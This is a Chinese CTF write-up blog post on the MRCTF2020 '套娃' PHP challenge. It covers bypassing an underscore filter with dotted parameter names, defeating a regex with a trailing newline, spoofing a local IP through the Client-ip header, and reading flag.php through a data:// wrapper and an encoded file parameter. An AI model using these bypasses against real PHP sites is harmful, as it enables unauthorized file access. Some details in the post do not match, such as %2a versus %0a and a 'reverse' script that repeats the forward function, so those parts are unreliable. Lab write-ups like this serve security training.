Z1d10tのBlog

A note for myself,have fun!

[MRCTF2020]套娃

进入题目 查看源码

1
2
3
4
5
6
7
8
9
10
11
<!--
//1st
$query = $_SERVER['QUERY_STRING'];

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
!-->

分析:输入的字符串不能有_和其url编码,并且get传参b_u_p_t不能等于23333 但是正则匹配需要开头和结尾为23333

这里用到了php合法变量名的知识点,如果在传参时,遇到不合法的变量名比如.则php会自动将其转为_

正则匹配preg_match()通过换行符%0a绕过即可 在非多行模式下,$似乎会忽略在句尾的%0a

可参考https://www.cnblogs.com/20175211lyz/p/12198258.html

img

payload:?b.u.p.t=23333%2a

img

1
/secrettw.php

img

查看源码发现一段jsfuck编码 直接在console中输入就有回显了

关于jsfuck码可以参考:https://www.jianshu.com/p/e7246218f424

img

获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}


function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

ip用 Client-ip: 127.0.0.1写在请求头,并且只能用这个

到目前为止我也不知道 Client-ip xff Real-ip 这三个在不同题目下为什么不能互用的原因 有点阴间

2333用data伪协议去传参

我们要读的文件file会经过change函数改变 我们只需要倒着写一个change函数 让其进过题目函数时候回到我们想要的内容即可 脚本很简单

1
2
3
4
5
6
7
8
9
10
11
<?php
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re; }
$str = 'ZmxhZy5waHA='; //Zm5lbTZ6dH4=
echo change($str)
?>

img

本文最后更新于 天前,文中所描述的信息可能已发生改变